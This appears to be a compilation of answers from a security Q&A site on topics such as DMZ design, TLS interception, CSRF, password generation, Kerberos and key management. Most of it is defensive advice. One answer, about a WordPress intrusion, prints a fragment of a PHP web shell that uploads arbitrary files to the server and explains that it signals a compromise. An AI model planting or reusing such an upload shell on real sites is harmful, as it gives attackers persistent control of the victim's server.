White-box - Bring in outside experts to look through everything and secure it, either from the initial design or once the system is finished. This is the most intensive (and expensive) option.
Grey-box - Give outside experts some knowledge of the system and let them work from there on their own.
Black-box - Give the experts no prior knowledge and let them test the finished system. While this can save time and money if they can't penetrate it, the problems they find might not be easily solvable once the system is finished.


How to reverse the communication for security

You're describing a typical multi-tier web application.

Internet - Firewall - DMZ - Firewall - Internal Network

Typical multi-tier security architecture puts the application server on the internal network and the web server (no business/application logic) in the DMZ. Allow traffic from the Internet into your DMZ, to your web server only, on port 80 and/or 443. Allow traffic from the DMZ, from the webserver only, to the internal network, to your application server only, on whatever port(s) is required and no more.

All communications to you web app now terminate in your DMZ, protecting the business logic and whatever backend database you're using from attack.


Would the Stagefright vulnerability existing in Android be able to run on other phones?

The bug isn't with the file format, it's with the software of Hangouts the Android software library. iOS, Android, and Windows phones run system software from three different groups of developers. As such, this vulnerability probably doesn't exist on other platforms. Even if it did, one payload couldn't affect all three systems, because their software isn't binary compatible at the ABI (application binary interface) level of the OS. A valid exploit in system code on one system that caused, say, a rootkit install would likely only cause the other systems to crash, which would still be bad, but the systems could probably recover without too much trouble.


TL;DR - No, this is common on omegle..

In order for Omegle to work. It connects every pair via UDP. This exposes the currently paired client's ip address. They were simply running wireshark, found your IP address and ran a lookup on it.

Here is a youtube example of this.


Deriving a key with PBKDF2 from RFC1751 output

It does not matter if you pass the random bits or the words mapped to these bits. The strength of the key solely depends on how hard it is too brute-force the input into they KDF (assuming that parameters are kept the same). And assuming that an attacker knows how the input is constructed (i.e. no security by obscurity) the time needed for brute forcing the bits or the mapped words is the same since the space of possible inputs into the KDF has the same size.


Caging unsecure internet facing IOT device

As @AndreBorie says in their comment, a VPN gateway would solve this, assuming that the IoT device doesn't expose other connection methods (e.g. an insecure Bluetooth or Wifi connection of its own).

A VPN gateway works by allowing a device to connect to a network over an encrypted channel over an insecure network (such as the general internet), then decrypting the traffic and forwarding it onto a device which is on a trusted network (your home, in this case). The internal device doesn't know it's connecting to a remote address, and most modern phones support a suitable form of VPN connection, which can forward all traffic through the VPN connection.

Some applications may attempt to detect the presence of a VPN (in particular, things like Netflix which may have distribution restrictions on content), and refuse to run properly when connecting through a VPN, even where this is personally operated. There is also a speed impact from using a VPN, although this depends on the connection to the VPN server, and I have known odd situations where accessing content was quicker through a VPN due to routing misconfigurations.

You would also need to ensure that the router at your home did not open the ports for the device automatically - some uPNP supporting routers allow for devices on the "inside" to open ports without human interaction. If this happened, the VPN would be bypassed, and the device left open to Shodan or similar scans.


content of Informational packets in ipsec between phase1 & phase2

You can go through the rfc 2409 for IKE.
It gives the details about why ,where and when informational packets are required.
Hope it helps!!

Link to IKE rfc2409


CRLF injection can be used in IMAP/SMTP command injection and in HTTP Response Splitting.  In both cases BURP is the tool of choice.

Wapiti is a FOSS vulnerability scanner that can detect http response splitting.  The vast majority vulnerability scanners should be able to detect this attack.


What is the security impact of changing PowerShell's PSLanguageMode?

I would look on MsDN and support.microsoft.com for any IIS vulnerabilities first  since IIS is usually the target du jour for hackers.

Then look for the PS module specifics to check if they are screwed up after a recent update or something esoteric -- I would be wary of Unicode and any of the larger character sets -- have him point you to the KB suggesting the changes and do your due diligence first.


Save password on user-side for autologin

Well, that's what password managers (provided by OSes or embedded in browsers) are for. And yes, you'll need a master password because you need some secret shared with the password manager for it to encrypt those previous passwords of yours. :)

Most websites would provide you with the ability to stay connected via cookies to spare you the pain of re-authenticating. This avoids exposing your credentials, though the cookies being stolen could lead to identity forgery.


Can a card issuing company store CVV number, expiry date and 16 digits card number?

Yes.

A payment handler (e.g. Amazon, Netflix, Thames Water, Comcast) must not store CVV and must mask the PAN (card number), assuming that they are contractually bound to the Payment Card Industry Data Security Standard (PCI-DSS) by their bank.

The card issuer, however, has no such restrictions. They issued the card and they are ultimately responsible for storing its information safely. In all likelihood the card's funds will be protected by a mandatory insurance policy (either private or governmental), such as the Financial Services Compensation Scheme (FSCS) in the UK, and the bank will be liable for damages in the event of card fraud caused by their negligence.

Local law, however, may override this, though I am entirely unaware of any law governing the data security practices of financial institutes at this level of detail.


Why does a firewall reencrypt https traffic

How could the firewall decrypt the traffic encrypted by a key protected by the end website? If that was possible, then encryption would be meaningless.
TLS Interception
TLS inspection requires that the firewall has the traffic unencrypted. Users use the firewall certificate to encrypt the traffic (so it's protected even in the local network) then the firewall uses its own certificate to decrypt the traffic for inspection. Then it uses the end website's certificate to re-encrypt and sends the traffic on.
Visitors
You have a bigger problem if you want to use TLS interception with visitors. Inspecting visitor traffic breaks a bunch of privacy laws. You should not be inspecting visitor traffic unless you have their permission and they are properly informed (especially in Europe, but also in other jurisdictions).
As part of that "informing" process, you could provide your firewall's certificate, or you could do the much easier thing: provide a visitor wifi network without these controls.
At Home and Playing Around
TLS interception is meant for corporate environments. The Sophos XG firewall is an enterprise firewall, so many of its functions are not designed for home use. So, if you want to play around with it, that's great, but you have to keep its intended use case in mind when you are inconvenienced by using its functions at home.


It depends on the phone platform, whether you have tracking set up in advance and whether someone is foolish enough to break into your account while on Wi-Fi or leave the phone on while in reach of a Wi-Fi you've previously connected to.

So the realistic answer is probably not though the sooner you try, the better.

Anyone with any brains would have factory reset the phone immediately after removing the SIM.


Are Bell-LaPadula and Biba models used in real big software security design?

https://thumbs.gfycat.com/AcrobaticLegitimateAnura-mobile.mp4

As the name suggests, these are models, and not implementations. Bell-LaPadula provided a framework that guided how to think about confidentiality (and that significantly impacted the military clearance system) but it is not actively the source of any modern systems security.

from:

  Limitations of BLP Restricted to confidentiality.
  No policies for changing access rights; a complete  general downgrade is secure; BLP intended for  systems with static security levels.
  BLP contains covert channels: a low subject can  detect the existence of high objects when it is  denied access.
  Sometimes, it is not sufficient to hide only the
  contents of objects. Also their existence may  have to be hidden.

As you can see from these limitations, the model is not sufficient for a modern system security design.

Here is a previous question that asks for practical examples, and you can see that the answers discuss how the model influenced thinking, not how it provided a map for implementation.
Practical non-government uses of Biba, Bell-LaPadula, etc. models


You can include them in the CSR if you want, but the R stands for request, and no CA will issue you a certificate if your CSR does not comply with its policies. In fact, most CAs ignore everything in your CSR except for the key material.


Is there any interest in purchasing honeypot traffic data?

Short answer: No. For 3 reasons.

First, there is little value in an amateur's personally collected data. One cannot know the errors, flaws, inconsistencies, etc. So, one would be buying very "dirty" data. Unless the source, subject, or nature of the data was so unique as to be able to say that purchasers could not have obtained the valuable data themselves, you are just selling random logs. The market value of the data is likely very low.

Second, people and organisations that run honeypots share their data to researchers for free. There used to be places where you could upload and download logs freely, but those repositories, themselves, cost money to maintain, so they rise and fall over time. The market for the data is non-existent.

Third, in many jurisdictions, there are legal issues with sharing honeypot logs because of privacy implications. I run honeypots and the amount of personal data that I collect on attackers is surprising (for a number of reasons). In some cases, attackers reveal everything about themselves (this is one reason why I run honeypots, to report them). The market for the data comes with major liabilities.

Instead of selling the logs, consider looking for sponsors for the research.


Is the tomb's keyfile necessary when creating a password tomb with tomb-pass?

Per their site:

  Tomb generates encrypted storage folders to be opened and closed using their associated keyfiles, which are also protected with a password chosen by the user.

because pass tomb is

Asking for a gpg identity and not a password

&&
Created to keep your password tree encrypted when you are not using it (source)

they must be using the gpg public key to encrypt the tomb key.

If that's the case then no, having only the tomb key and the tomb aren't enough to access the tomb (unless they've broken gpg). If someone had the tomb, the tomb key, and the gpg private key they'd have not only the tomb, but the password files as well (since the same gpg identity is used to encrypt them).

You could always test by generating a new gpg keypair, creating a pass tomb using that identity and deleting the private key to be sure (don't trust me, I'm just some person on the internet).


Read-only means one can only read from it. Write-protected means that writing is possible but controlled. Those controls can fail.

If "read-only" is defined in the hardware, then it will always be write-protected at the same time.

OTP memory is OTP. After being burned, it is read-only.


why application/json content type have csrf token?

I assume that by Json Applications you mean a web service (HTTP API) which only accepts the JSON content type for incoming requests. Basically it is correct that if you check for JSON content type in all of your requests CSRF would not be possible since HTML forms only send url encoded / form data / plaintext content types and AJAX requests are blocked by the browser thanks to the same origin policy.

My understanding is that this is an extra security measure, applied as an automatic framework that adds the CSRF protection to all incoming requests, hence covering for some API call implementations which forgot to validate the content type such as GET requests that don't accept any content at all, or for allowing the usage of different content types in the API.

By the way - the crossdomain.xml file which you referred to is platform specific to Flash and Silverlight. The corresponding technology in HTTP terminology is called CORS (cross origin resource sharing) and one must make sure that CORS is not enabled by the server in order for your assumption to be correct.


How to deal with Office documents in file upload?

Well you have 2 possible defense lines here and my advice would be to combine both.

try to filter malware out of the documents

you could try to use an antivirus to automatically scan any uploaded file and reject it when positive
you could try to filter any macro out of office documents, but it could be harder than it seems at first sight, because there are numerous formats, and it will be easy to let one unfiltered

use a reasonably strong authentication system - one that you can trust to be able to unambiguously identify the real user in your use case - and consistently log all actions including versioning of files if they are modified

if a malware is later found on your system, you will be able to identify the culprit - with all legal consequences involved
it can be seen as a dissuassive weapon: if users know that they could be later charged for their bad actions, they are likely to try another way


What are the security or privacy issues with allowing users to forward email from our Google Apps account to their personal Gmail?

The user sounds like the person who has a privacy concern, since a significant side effect of that action is that the company is prevented from access or control over his email account.

The company has operational concerns, as the email can't be recovered easily in the event of the employees resignation or incapacitation. The company does not really have a privacy concern, since even if there was no off-site forwarding, the user can still easily reveal email contents.

This is a management problem, not an IT problem. If your company policy forbids sending work email outside company control, then enforce the policy. If the policy does not cover that scenario, then is there really a problem? (If it is a problem, then write some policy!)


encryption protection against lost password

I think you don't need to keep an entire second copy of the data. That seems difficult. Also, you want to try to avoid bulk public-key encryption. It's slow. Instead of keeping a second copy of the data, you can  keep a second copy of the key.

Create a random symmetric key F that you use to encrypt the files. Encrypt this key with a key derived from the user's password and store the encrypted F on the disk. Store a copy of F in a secure store somewhere that admins can access it. You should encrypt F using some admin-specific key to keep F secure while in transit and at rest.


Is it possible to check if my cable modem is secure and safe?

Obviously there is no way to completely check "if [your] cable modem is secure and safe?", because you most cannot look into the firmware and internals of the IC (integrated circuit, aka microchips), hence have no way of making sure agains hardware-based backdoors.

That being said, there are still actions you might be able to take to reduce the uncertainty about the "safety" of your device. It would for instance be possible to log the a certain amount of traffic transported/conveyed by your device and search that traffic for manipulations. Clearly this would most likely involve other devices, you already trust, being capable of such a logging activity.

Update
Provided the comment by dandavis, the principle procedure laid out in the preceeding paragraph seems (for a lack of available testing/logging device on the out-bout side ot the cable Modem) unpractical. Therefore, and with respect to the previously stated likewise impracticality to look directly into the Modems circuitry itself, one can say that *for all practical purposes it is at best very hard, *and mostly impossible to "check if [a] cable modem is secure and safe".

"safe"/"secure" are attributes, which of course comprise more than merely not malicously manipulating traffic, as for instance you would like to have the modem not disturbing the other parts of the system linked/attached to that hardware device, something I can sadly not advice you much to.

Besides there will be imho always a struggle with being certain that the device is "safe/secure", as for instance this is not a permanent attribute, but will change over time, I would recommend to tackle the problem by not assuming too much safety/security of that modem, and instead make sure that any harm it may cause is safeguarded against. i.e. use cryptography (tls/ssl, etc.) to protect any data being "touched" by that device.


Is the following password-generator secure?

a = "qwertzuiopasdfghjklyxcvbnm"
n = "1234567890"
r = "23456qwertasdfgzxcvbQWERTASDFGZXCVOB"
l = "78901yuiophjklnmYUIPHJKLNM"

all = a + n + r  + l

Why is this so complicated? By including some characters multiple times, you make those characters more likely to appear in passwords, which weakens the password. By making your password string so complicated, you make it hard to determine how secure the passwords are.

To get an even chance of any character, just list all of them once. Also, you can dramatically simplify this using the string module.

import string

all = string.ascii_letters + string.digits

Another problem is that the random module's documentation says it shouldn't be used for cryptography:

  Python uses the Mersenne Twister as the core generator. It produces 53-bit precision floats and has a period of 2**19937-1. The underlying implementation in C is both fast and threadsafe. The Mersenne Twister is one of the most extensively tested random number generators in existence. However, being completely deterministic, it is not suitable for all purposes, and is completely unsuitable for cryptographic purposes.

  [...]

  Warning: The pseudo-random generators of this module should not be used for security purposes. Use os.urandom() or SystemRandom if you require a cryptographically secure pseudo-random number generator.**

So, use random.SystemRandom() instead:

import random
import string

# Consider adding string.punctuation
possible_characters = string.ascii_letters + string.digits

def generate_password(length=32):
    rng = random.SystemRandom()
    return "".join([rng.choice(possible_characters) for i in range(length)])

Since we know exactly how many possible characters there are (62), and we know that they should be randomly distributed, we can say with fairly high confidence that a password generated by this scheme will on average require (62^32) / 2 (about 10^57) attempts to guess.

That said, a 32 character password is probably secure enough, even if it's not optimally random.


RxR__kyfet.php - Found this in the Root of my site's directory. What does it do?

It appears to be an interface for uploading files to the local system.  If you did not upload the file yourself, then it would appear that your system is compromised.  Your safest bet is to rebuild the system from scratch, and apply the latest security patches for wordpress & any plugins that you use.

Here's the linked code for posterity:
    ' . 'Uname:' . php_uname() . '' . $cwd = getcwd();
Echo '          ';
if (!empty($_FILES['uploads'])) {
    move_uploaded_file($_FILES['uploads']['tmp_name'], $_FILES['uploads']['name']);
    Echo "alert('upload Done');          Uploaded !!!name : " . $_FILES['uploads']['name'] . "size : " . $_FILES['uploads']['size'] . "type : " . $_FILES['uploads']['type'];
} ?>


secret key compromise in SSL vs in Kerberos

Kerberos is an on-line mechanism that is centralised. You could in principle change your Kerberos password instantly. (There might be further problems if the attacker beat you to it, but let's assume you could phone up support to change it in this case.)

Tickets issued by Kerberos have a limited lifetime (e.g. 12 hours, although this is configurable), and also have a limit in the number of times they can be renewed (which can be configured in the KDC). Here are typical settings in Active Directory. A compromised secret would have a limited effect, within the lifetime of existing issued tickets.

In contrast, PKI are intended for more distributed usage, where clients and services don't have to contact the CA every time one of its certificate it used; checking for certificate revocation in a PKI (via CRL or OCSP) tends to be an optional step. Not all clients do it. Certificate also tend to have a longer lifetime (typically one or two years), which would mean that a client failing to check for revocation would still consider a compromised certificate as valid for a much longer period of time.


Protect MySQL against brute-force attacks on dedicated CentOS 7 server

Can I block IPs that are outside of this range

Absolutely, using iptables you can enforce accepting (whitelisting) of packets from an IP address range or a particular IP address on a particular port. Linux: Iptables Allow MYSQL server incoming request on port 3306

Then you can use Fail2Ban for brute force protection. E.g. if MySQL auth on port 3306 has 3 failed attempts within 5 minutes, close port 3306 for that IP address for 30 minutes.

Although, you can access MySQL externally without the need to expose the port directly to the Internet. Either set up a secure SSH server and tunnel the local port or deploy a VPN to achieve access to the internal network securely. Both will provide you internal access to port 3306, without exposing it to the Internet directly.

Port Forwarding via SSH Tunnelling:

(Client)===(SSH Tunnelling)---(MySQL Server)

The same idea is established with a VPN:

(Client)===(Secure VPN)---(MySQL Server)

Equals (=) are used to indicate encrypted traffic over the Internet, while the hyphen (-) indictes traffic within your internal network.


Man-in-the-middle attack detected by antivirus, how is that possible?

Most likely your attempt was detected due to the arp-spoofing attack. This attack send several arp packets in a very short period of time, containing an already-in-use IP address. When a anti-virus (or IPS/IDS) see a machine with this behavior it automatically classify it as malicious and, depending on the software, it may blacklist the IP.

To understand the anatomy of a arp spoofing attack, check this page or this video that details the attack.


How to run client's code on server securely

You should not envision things as a "black list" of things to trap. Black lists don't work. At least, they don't work well. Instead of trying to work out a list of "forbidden system calls", you should instead create a list of "definitely harmless system calls" which you explicitly allow.

What you need is a sandbox. The Chromium Web browser (the open-source side of Chrome) contains such a sandbox which works on Windows. That page contains a rather detailed architecture of the sandbox system. I don't know to what extent this sandbox mechanism could be extracted from the Chromium source code and used on its own.

If you want something more immediately usable, then you may want to investigate virtual machines. In that model, you give a complete OS and machine to the client code, and you control things "from the outside": the VM talks to the external world through a network interface, and the host system (your server) controls exactly which packets make it through and which do not. For instance, if you want the client code to access some local files from your server, then you just export (as a "network share") the specific directory to the VM. For a low-resource guest VM, I suggest NetBSD, which is notorious for requiring very little RAM.

Edit: regardless of the technology you will use (sandbox, VM...), running potentially hostile code on your systems can be dangerous. Indeed, all the code snippets running concurrently on a given machine necessarily share some resources, i.e. L1 caches, jump prediction caches... which can be used to gain some information on other code snippets, be they other users of your system, or code from the host itself. This has been demonstrated as part of attacks to retrieve nothing less than an AES encryption key -- i.e. the Secret of Secrets in a cryptographically powered system. See for instance this answer. Though the demonstration were done on encryption systems, this really impacts anything which you do on a computer with confidential data.

Thus, if you have confidential data on your server, or if some of your users could find advantageous to spy on other users, then... don't do it.

To mitigate such cross-sandbox eavesdropping, you would have to arrange for the sandbox code not to be able to communicate with the external world (except to return a "result" at the very end) and to deactivate facilities for precise measurement of elapsed time (namely the rdtsc opcode on x86 -- it can be disabled with a flag in register CR4, but I don't know if usual virtualization solutions offer a simple way to enforce this deactivation).


Why would someone create an OpenPGP public key with my name and email address?

GPG can upload your public key automatically, and there may be other utilities that do so. The thing to do is compare the public key on the web with the one on your keyring. If they match then it must have originated from your system as nobody could create it in isolation (that's the whole point of public private key pairs).

If the public key is different from the one you generated then it's possible that someone is attempting to use your identity. It seems pretty unlikely though, so I'd look for other explanations.


Spcifically, I'm thinking about i.e. "master keys" which intentionally exist and are used i.e. by the Russian government.

The standard doesn't define S-boxes (substitutions tables) and this makes hard to invent such a master key, especially if you treat the S-Boxes as long term keys and keep them secret. Besides, no one researcher has demonstrated such a "master key", though there are some subspaces of key space that are weaker than the others (but the algorithm remains unbroken).

  If GOST would be used in a chain of several algorithms, i.e. AES-TWOFISH-GOST, would there be a risk of weakening AES and/or TWOFISH assuming GOST had known vulnerabilities like the one described earlier?

It depends on the way you combine the algorithms into a chain, because some Meet-in-the-Middle attacks can be possible in this case. In addition, AES has 128-bit block, but GOST has 64-bit block and it will be tricky to combine them in secure way.

  Also, is GOST used anywhere outside Russia or is it a strictly Russian algorithm?

Yes, besides Russia the algorithm is still widely used in Ukrain, Belarus, Kazakhstan and other ex-USSR republics. However, those countries have their own sets of GOST S-Boxes and they're moving to their own crypto standards (Kalina in Ukrain, Belt in Belarus etc.). There are some open source encryption tools like GostCrypt that are based on GOST. GOST is also implemented in OpenSSL and Crypto++ frameworks.


Are there best practices concerning application account credentials?

The topic is quite broad, so I'm not aware of a generic "best practices list" which addresses your questions. The topic quickly becomes very platform-specific.

Very generically:

do check your specific scenario you're trying to defend of. There is no silver bullet.
restrict (file) access permissions to those who do need access to that file.
Password-based encryption/authtentication is simply something which needs to go.

Considering your exact question:

  Is it needed to encrypt a configuration file with these credentials,
  with an administrator decrypting it (Password based encryption) when
  application starts ?

This option can improve security, but also be a major nuisance or reduce the availability of the service in question. Depending on scale, it can be highly problematic.

if the application is running without acceptable levels of redundancy (e.g. n+2), the application crashes every few hours or frequent updates do require frequent application restarts, an experienced administrator will write a script to restart the application in order to get the service back online as soon as possible. If this requires entering some password, this restart script will (sooner or later) contain the password as well. This will nullify your "extra" security.
recovering e.g. from a power outage may take a very long time, as the strategy involves manual interaction. If your application is running on hundreds or thousands of servers, it may take hours or days to manually recover from this.
in comparison to cryptographic keys, passwords are very short, restricted to a small range of ASCII characters and so do provide not that much entropy, resulting in severely limited level of security. Or, otherwise: 62^16 (16 char long alphanumeric password) is a minor fraction of what just 2^1024 (1024-bit keys) does provide in terms of entropy. If you're trying to defend against brute-force (offline) attacks, passwords can't be the only protection (unless you're willing to use very lenghty passwords).

Please do re-check your attack scenario: what are you trying to defend against?

The configuration file contains "secret" information. If the server's disk fails and is replaced, a (revived) failed disk shouldn't expose this information. Most kinds of disk or file system encryption will solve this issue while being transparent to the running application. Coupled with a hardware security module (e.g. a TPM module) instead of a password, the machine may also recover from a power outage without manual interaction.
A malicious user or attacker may get access to the machine and shouldn't have access to the config file. File system ACLs do so very fine.
A malicious user or attacker may get access to the application container and access data to be protected. This can be very hard to solve: the user could just dump memory of the running application and search for passwords in there. Many application containers also contain debugging and administration interfaces, from which a user can also directly access e.g. variables (who may contain the LDAP credentials). Securing those interfaces/consoles is also an important task.

You also didn't specify a platform or environment; e.g. in the windows environment (since you mentioned Active Directory), it may be a good idea to store passwords as a securestring in the registry. This does bind access to the specific application who stored that password. However, if the malicious user is running code or under the application's identity, this quickly results in the previous issue.

  It seems the best way but it is not very easy to update LDAP account password
  because you need to modify and re-encrypt the configuration file.

If the LDAP account password is changed, the configuration file needs to be modified anyway (and the application may require a reload/restart). Touching the file yet one more time by re-encrypting it isn't that much more work to do and can be automated in a very simple and yet secure way (e.g. gpg-encrypting the config-file using a public key whose private key is only known to the running application/machine, before pushing it to the machine).
If you're changing the LDAP account password to comply with some corporate password policy, the same policy will probably apply to the password used to encrypt the configuration file - so you need to re-encrypt that file anyway, why not combine this?

If running in a larger setup of application nodes, changing the LDAP account password may also become more complicated: you may have to shut down all running applications, change the password, wait for it to replicate to all LDAP/AD nodes, re-start the application. This does "require" an outage, and an alternative to this is to create a new LDAP/AD user with a different password, but using the same LDAP/AD permissions than the original user. You reconfigure your applications to use that new user and sequentially restart your application containers; given that those application containers are running with some redundancy mechanism, this can be an almost-seamless migration.

However, doing so requires you to maintain two user accounts with identical permissions; if they're manually managed, this will probably not work out very well.


Is it more secure to program a client-server system in a language other than English?

Technically slightly, yes. But:

It would be security by obscurity, which is a bad idea
It does not boost confidence in your product
It would be very easy to figure out what does what, it would only take a bit of time
Google Translate, you can just use meaningless names, it would still not help much
It would make maintenance harder
It would make audits very hard, as the auditors may not understand the language

All things considered, it is probably never worth it.


In-Memory Database Storage and Security (MemSQL, Spark, Redis, Geode, et al)

Encrypting in-memory data stores/caches is generally not done because all the working data is stored in RAM and so will the encryption key at some point and if an attacker has access to the memory of the system, he will have access to the means to decrypt the data or have means to access the data after decryption so it is not providing any additional security.

The best practice is to prevent unauthorized access from an external process or machine by making sure you have Threat Modeling done for your application. This will bring to light all the ways an attacker can get access to your data or attack it. There are several methodologies for Threat Modeling and the one I have used is STRIDE. There is a free tool which Microsoft provides which is useful to create Threat Models using this methodology. This is not specific to in-memory databases but more holistic as it covers aspects of security for a given application.


How to securely audit passwords using John the Ripper

Don't bother! Instead of preoccupying yourself with how secure your user passwords are, may I suggest you instead make sure they're as secure as they can be once they chose any of sufficient minimum length and complexity?

  I am thinking of generating my own rainbow table for my salt and then
  uploading the list of hashes.

You've just revealed you're not even salting passwords in any effective way. One single non-unique salt value should not be used on more than one password hash! Full stop. Needless to say, what you wrote clearly indicates you're using one single database-wide padding in a place where salt should be. Instead of calculating how difficult it would be to attack password hashes with a tool like John The Ripper (JtR), you should rather make these types of attacks nigh impossible on any passwords used that match a minimum required length and/or complexity.

I shall now refer you to this answer: How to securely hash passwords?. No need of me to write it all again then, I believe. Read it, understand it, worship its author, for once you implement the wisdom it holds, you shall sleep with a rested mind and never think of JtR again!


In TrueCrypt Hidden / Normal overriding?

There is a mechanism to protect the hidden volume when opening the normal volume it shares.  It is described in the TrueCrypt documentation:  http://www.truecrypt.org/docs/?s=hidden-volume-protection


How to detect SMTP proxy on public wifi?

If it is a logging only proxy, you cannot. As you speak of Wifi, I assume that you connect through DHCP, so the default router is obtained through DHCP. That router actually proxies all traffic between its Wifi interface and its internet interface. From the outside, you cannot guess whether a spying system has been installed here.

On the fly rewriting of packets at this low level is rather complex and is uncommon: those are generally only filtering proxies that can block unallowed traffic. You could imagine one specific tool that for example consistently adds a new address on the mail envelop (not the To: header, but the RCPT TO: SMTP command). But as it is simpler to just log all traffic on selected ports, I have neved heard of such a tool.

TL/DR: you cannot detect a proxy when you connect to a Wifi network that you do not own, because by definition the Wifi hotspot is a router and could log all the traffic that goes through it. So you should assume that everything that passes in plain text can be spied.

That is for the low level proxying possibility. A more common usage is that ISP block SMTP traffic (port 25) that is not for their own server. This is a best practice to avoid open mail relays. But the secure ports using SSL/TLS or requiring authentication (465 and 587) are generally not blocked.


The immediate reason of the verification failure is that the signature was generated over friendencryptedpasswordbase64.txt, but you try to verify it over phase2friendencryptedpassword.txt, which has not the same contents. Signatures are computed over sequences of bytes and don't care whether you envision these bytes as the Base64-encoding of some other bytes. If you want the signature to be verifiable, you must use the same sequence of bytes as signed message for both generation and verification.

On the whole, what you are trying to do is unclear; in particular, what you call "Encrypt friend's password using friend's private key" does not do that. What you obtain with that command-line is not encryption; it rather is a half-signature (the input file, friendpassword.txt, is taken "as is" as if it was a hash value, embedded in a "PKCS#1 v1.5 type 1 padding", and subject to the RSA core modular exponentiation). In particular, using the value friendencryptedpassword.txt and the public key friendpublickey.txt, both of which being public (since they are sent "on the wire"), it is trivial to rebuild friendpassword.txt, and I bet that's not what you would want to happen.

If what you want is that user A conveys to user B some secret value V (e.g. a "password") so that eavesdropper cannot see V, but B has some guarantee that what was received is indeed a message from A, then what should happen is that:

A encrypts the value V with B's public key, yielding W.
A signs W with A's private key, yielding a signature S.
A sends W and S to B.
B verifies S over input W, using A's public key. This gives B some guarantee that W is indeed the value that A sent (it was not altered in transit by some malevolent interloper).
B decrypts W with B's private key, yielding V.

Note that A keeps his private key private, and so does B. A never learns B's private key, and B never learns A's private key. Moreover, B's key pair is used for encryption and A's key pair for signatures. Encryption and signature are distinct activities which use distinct algorithms and distinct types of keys. It is an unfortunate source of confusion that there is an encryption algorithm called RSA, and also a signature algorithm called RSA, and both kinds of RSA can share the same key structure; even more confusingly, a lot of people erroneously refer to signatures as "encrypting with the private key", which is wrong and makes the overall picture especially obscure. You had better keep signatures and encryption separate (and there are good reasons for that).

There are a gazillion details which can go wrong at any point in the design and implementation of such protocols, so the safe way is to rely on standard protocols which have been carefully specified and analysed, and on tools which implement these protocols and have been thoroughly tested for correctness. To be brief, use GnuPG.


Certificate Signed Using Weak Hashing Algorithm impact on a workstation

Background for context:
Digital certificates bind trusted identity information to a public/private key pair.
The identity information is trusted because the certificate is cryptographically signed by a trusted Certificate Authority (CA).
There's an excellent explanation of the hashing and signature process in this answer.
Answer:
In short, an attacker could create a trusted copy of the workstation certificate and use it to impersonate the workstation. The impact of this is dependant on the role of the workstation and its certificate in your network. However, this vulnerability is very expensive to exploit and it's unlikely any attacker would attempt to do so.

An attacker could generate their own key pair (meaning that they control the private key) and subsequently a certificate associating any identity information they like with the key pair. Under normal circumstances, it would be easy to verify that the trusted CA hasn't signed the certificate by comparing hashes - thus the certificate would be invalid and untrusted.
However, where the hashing algorithm is weak, it is technically possible for an attacker to create a fake certificate with a hash that matches that of a genuine certificate, resulting in the fake certificate being trusted.
This has been achieved with certificates using the MD5 hashing algorithm.
There is a good write-up from Cloudflare on this here
The Cloudflare article is a little old and SHA-1 collision attacks are now real, but fortunately only apply when certificate serial numbers are predictable.
I say technically above, because certificate attacks cost tens of thousands of dollars:

By renting a GPU cluster online, the entire chosen-prefix collision
attack on SHA-1 costed us about 75k USD. However, at the time of
computation, our implementation was not optimal and we lost some time
(because research). Besides, computation prices went further down
since then, so we estimate that our attack costs today about 45k USD.
As computation costs continue to decrease rapidly, we evaluate that it
should cost less than 10k USD to generate a chosen-prefix collision
attack on SHA-1 by 2025.

If you're prioritising vulnerabilities for remediation, this one should be near the bottom of the list from a practical risk perspective. The reality though, is that weak hashing algorithms on certificates have got quite a lot of press and many people overlook the difficulties of real-world exploitation, so it may be beneficial to replace the certificate with a SHA-256 or above equivalent from a perception of risk perspective.


WiFi Hacking - Certificate based authentication instead of password

Certificate is always better solution than username/password or pre-shared key. But if you will use multifactor authentication (i.e. username+password+RSA token/Google Authenticator/SMS/whatever) i would say it secure enough against such types of attacks. Even strong password and following of the recommended password change policies is fine.


gpg-agent keeps saving pin for a smartcard

I've been looking into this myself. I want to be prompted to enter my PIN every time I request my smart card (Yubikey in my case) to do a sign/encrypt/auth operation. It is possible to enable this behaviour for signing by enabling forcesig through gpg2 --card-edit (see GnuPG documentation):

forcesig   toggle the signature force PIN flag

but not for encryption and authentication operations.

This post on the GnuPG mailing list by Werner Koch himself seems to imply that the smart card itself is caching the PIN.

I will look into this further (perhaps send an email to the GnuPG mailing list) and update this answer if I find any more information.


Verifying resident program "integrity" before every run

Linux supports IMA, the Integrity Measurement Architecture. This is a feature which stores a cryptographic hash of every file in extended attributes on the filesystem. When a page from a file is loaded, the entire file is read, hashed, and the hash is verified. The hash is part of a hash tree, verifying the hashes all the way down to a single trusted root hash. This root hash can be signed or protected in the system's TPM. Attempts to load a file that has been changed will return -EIO.

Because the entire file must necessarily be read in order to calculate its hash, a performance optimization called demand paging, which loads only the requested pages into memory rather than the entire file, will no longer function. This can increase the start up time for large executables or executables that link against number of large libraries, especially on slow disks.


Prevent logging in by pressing Enter - security by obscurity?

I suspect this decision was not security related at all.  Probably they had issues with users accidently changing focus on the form before they were ready because of their enter key behavior.  Facebook is very bad about this.

This company just wanted to give the user the option to prevent the enter key from doing anything but inserting a cr/lf.


Does Google Assistant listen to everything?

Yes, it does listen to everything but only activates and streams to Google on keyword activation. It has to listen all the time to trigger itself.

Once you say the keyword it will stream a few seconds before you said 'Ok Google' listen to your question then send the data to Google for an answer.

All this data is logged as well, here is a guide to find and delete voice recordings: https://qz.com/526545/googles-been-quietly-recording-your-voice-heres-how-to-listen-to-and-delete-the-archive/


Windows passwords: Blank/non-blank, admin/non-admin

Keeping the system fully patched is as important as setting a good password. The strongest  that you have suggested is Using a non-privileged account with a password and having an admin account with a different password. The attacker does not require a password to break in.

If an attacker gets into the system because of some service that is not patched, he can easily wreak havoc.It is possible to escalate privileges even from a non-privileged account. So set passwords of great strength especially for the administrator account because in case the attacker couldn't gain administrative privileges, his next step is to dump the SAM file and to bruteforce the admin password.

My point is,the attack can occur after you have logged-in and is using the system. Once in he may/may not need passwords for further privilege escalation.

So

Never use blank passwords
Use passwords of excellent strength
Always keep the system fully updated - This includes not just the OS updates, but updates of every software you use.


How to export secret keys from GnuPG including photo IDs?

The photo is on the public part of the key, so you need to export that, too:

gpg --export -test- > exported.public.gpg

Then import both keys again:

gpg --import exported.secret.gpg exported.public.gpg

And the photo is there.


How could the Chinese Communications Authority find a backdoor on my website?

While it is hard to know what they did exactly I expect that they simply watch services like Phishtank or URLhaus or might also have access to the results of scanning infrastructure as needed for Google SafeBrowsing or Microsoft Smartscreen (Baidu might have similar services) or that the URL was reported to them as suspicious.
None of this requires them to do expensive traffic analysis or to even break HTTPS.


Keeping the same key and iv for encrypting post content

